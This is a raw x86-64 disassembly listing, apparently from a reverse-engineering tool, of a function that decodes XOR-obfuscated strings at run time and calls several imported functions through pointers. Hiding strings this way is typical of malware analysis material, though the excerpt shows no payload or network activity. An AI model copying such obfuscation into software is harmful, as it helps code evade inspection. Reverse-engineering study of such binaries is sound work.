cmp dword [rbp + 0x306c], 0
je 0x3a4da8887
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2dbf]
mov rcx, rax
call fcn.3a4da263a
lea rax, [rbp + 0x2d80]
mov qword [rbp + 0x2f70], rax
mov rax, qword [rbp + 0x2f70]
mov qword [rbp + 0x2f68], rax
mov rax, qword [rbp + 0x2f68]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x3a4da884e
mov rax, qword [rbp + 0x2f70]
mov rdx, qword [rbp + 0x2f70]
mov qword [rbp + 0x2f60], rdx
mov qword [rbp + 0x2f58], rax
mov dword [rbp + 0x2f54], 0
jmp 0x3a4da8844
mov eax, dword [rbp + 0x2f54]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f58]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f54]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f60]
mov eax, dword [rbp + 0x2f54]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f54], 1
cmp dword [rbp + 0x2f54], 0x3a
jle 0x3a4da87e3
nop
lea rax, [rbp + 0x2d80]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x3a4e8e030]
mov rax, qword [rbp + 0x98]
mov r11, rax
lea rcx, [rbp + 0xa0]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9d, 0x38
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x3a4da88e4
mov rax, qword [rbp + 0xf8]
cmp rax, 0x38
je 0x3a4da8a01
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2dff]
mov rcx, rax
call fcn.3a4da2824
lea rax, [rbp + 0x2dc0]
mov qword [rbp + 0x2f48], rax
mov rax, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f40], rax
mov rax, qword [rbp + 0x2f40]
movzx eax, byte [rax + 0x34]
test al, al
setne al
test al, al
je 0x3a4da89c8
mov rax, qword [rbp + 0x2f48]
mov rdx, qword [rbp + 0x2f48]
mov qword [rbp + 0x2f38], rdx
mov qword [rbp + 0x2f30], rax
mov dword [rbp + 0x2f2c], 0
jmp 0x3a4da89be
mov eax, dword [rbp + 0x2f2c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f30]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f2c]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f38]
mov eax, dword [rbp + 0x2f2c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f2c], 1
cmp dword [rbp + 0x2f2c], 0x34
jle 0x3a4da895d
nop
lea rax, [rbp + 0x2dc0]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x3a4e8e030]
mov rcx, qword [0x3a4e8e020]
mov rax, qword [rbp + 0x98]
add rax, 0x38
mov r11, rax
mov r8, qword [rbp + 0x3098]
mov rax, qword [rbp + 0x3190]
lea rdx, [rbp + 0xf8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov rdx, r11
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
jne 0x3a4da8a69
mov rax, qword [rbp + 0xf8]
cmp qword [rbp + 0x3098], rax
je 0x3a4da8b91
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x3098]
lea rbx, [rdx + rax]
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e3f]
mov rcx, rax
call fcn.3a4da29de
lea rax, [rbp + 0x2e00]
mov qword [rbp + 0x2f20], rax
mov rax, qword [rbp + 0x2f20]
mov qword [rbp + 0x2f18], rax
mov rax, qword [rbp + 0x2f18]
movzx eax, byte [rax + 0x30]
test al, al
setne al
test al, al
je 0x3a4da8b58
mov rax, qword [rbp + 0x2f20]
mov rdx, qword [rbp + 0x2f20]
mov qword [rbp + 0x2f10], rdx
mov qword [rbp + 0x2f08], rax
mov dword [rbp + 0x2f04], 0
jmp 0x3a4da8b4e
mov eax, dword [rbp + 0x2f04]
movsxd rdx, eax
mov rax, qword [rbp + 0x2f08]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f04]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2f10]
mov eax, dword [rbp + 0x2f04]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2f04], 1
cmp dword [rbp + 0x2f04], 0x30
jle 0x3a4da8aed
nop
lea rax, [rbp + 0x2e00]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
mov r10, qword [0x3a4e8e038]
mov r9d, dword [rbp + 0x84]
lea r8, [rbp + 0x88]
lea rdx, [rbp + 0x98]
mov rax, qword [rbp + 0x3190]
lea rcx, [rbp + 0x84]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x306c], eax
cmp dword [rbp + 0x306c], 0
je 0x3a4da8cf6
mov rbx, qword [rbp + 0x98]
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e7e]
mov rcx, rax
call fcn.3a4da2b78
lea rax, [rbp + 0x2e40]
mov qword [rbp + 0x2ef8], rax
mov rax, qword [rbp + 0x2ef8]
mov qword [rbp + 0x2ef0], rax
mov rax, qword [rbp + 0x2ef0]
movzx eax, byte [rax + 0x3a]
test al, al
setne al
test al, al
je 0x3a4da8cbd
mov rax, qword [rbp + 0x2ef8]
mov rdx, qword [rbp + 0x2ef8]
mov qword [rbp + 0x2ee8], rdx
mov qword [rbp + 0x2ee0], rax
mov dword [rbp + 0x2edc], 0
jmp 0x3a4da8cb3
mov eax, dword [rbp + 0x2edc]
movsxd rdx, eax
mov rax, qword [rbp + 0x2ee0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2edc]
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8fb823ef
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x39
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x34
mov ecx, r8d
xor ecx, eax
mov rdx, qword [rbp + 0x2ee8]
mov eax, dword [rbp + 0x2edc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x2edc], 1
cmp dword [rbp + 0x2edc], 0x3a
jle 0x3a4da8c52
nop
lea rax, [rbp + 0x2e40]
mov edx, dword [rbp + 0x306c]
mov r8d, edx
mov rdx, rbx
mov rcx, rax
call fcn.3a4da1370
mov rdx, qword [0x3a4e8e068]
mov rax, qword [rbp + 0x3190]
mov rcx, rax
call rdx
mov qword [rbp + 0x3190], 0
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2e7f]
mov rcx, rax
call fcn.3a4da2d62
mov rax, qword [rbp + 0x2e80]
mov rdx, qword [rbp + 0x2e88]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [rbp + 0x2e90]
mov rdx, qword [rbp + 0x2e98]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0x2ea0]
mov rdx, qword [rbp + 0x2ea8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0x2eb0]
mov rdx, qword [rbp + 0x2eb8]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
mov rax, qword [rbp + 0x2ec0]
mov rdx, qword [rbp + 0x2ec8]
mov qword [rbp], rax
mov qword [rbp + 8], rdx
mov eax, dword [rbp + 0x2ed0]
mov dword [rbp + 0x10], eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.3a4dbe7f0
mov ebx, 0
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.3a4e498e0
mov eax, ebx
jmp 0x3a4daa6c4
add rsp, 0x3238
pop rbx
pop rbp
ret